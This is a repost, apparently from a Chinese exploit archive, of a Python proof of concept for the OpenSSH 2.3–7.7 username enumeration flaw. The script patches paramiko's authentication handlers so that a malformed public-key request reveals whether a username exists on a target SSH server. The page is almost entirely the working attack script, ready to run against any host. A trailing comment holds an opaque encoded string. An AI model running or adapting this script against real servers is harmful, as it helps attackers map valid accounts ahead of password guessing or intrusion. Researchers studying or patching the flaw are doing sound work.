首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)
来源:vfocus.net 作者:Daley 发布时间:2018-08-27  
#!/usr/bin/env python
 
# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
 
 
import argparse
import logging
import paramiko
import socket
import sys
 
 
class InvalidUsername(Exception):
    pass
 
 
def add_boolean(*args, **kwargs):
    pass
 
 
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]
 
def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)
 
 
def userauth_failure(*args, **kwargs):
    raise InvalidUsername()
 
 
paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
 
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
 
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()
 
sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)
 
transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)
 
try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'
 
#NCt4elp3bDE3c1BlVkRPbnlhSjUzRGVNWDBlVTlFVk9hVmNIR2p3Q2FuSDBOSjFZQXVCQ3orbnY4UnVtWUU5ayt4Tm1mR24yOVpTVW9MMzlpUjU5WVZqcFBoSnMvZkx0SGJCL1JhOGRGaVZQTmVHVEUwcTVxZ2luRVhIYVliZ3IvQnhTNkcxZGMzRU1qbkJ4OWFTTW9HcVdGQVRKeVcyWjBDL1FvMHoydnB3WGNIRUFzajhrMmsraWZHb0dnd1k4eVFWNkpIWXFrQjhhYXRlWFdLVWZhZz09
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mikrotik WinBox 6.42 - Credent
·CEWE Photoshow 6.3.4 - Denial
·Central Management Software 1.
·ADM 3.1.2RHG1 - Remote Code Ex
·ObserverIP Scan Tool 1.4.0.1 -
·Microsoft Edge Chakra JIT - Im
·Foxit Reader 9.0.1.1049 Buffer
·Microsoft Edge Chakra JIT - Pa
·cPanel 76 Cross Site Scripting
·Microsoft Edge Chakra JIT - 'D
·Cloudme 1.9 - Buffer Overflow
·Microsoft Edge Chakra JIT - 'I
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved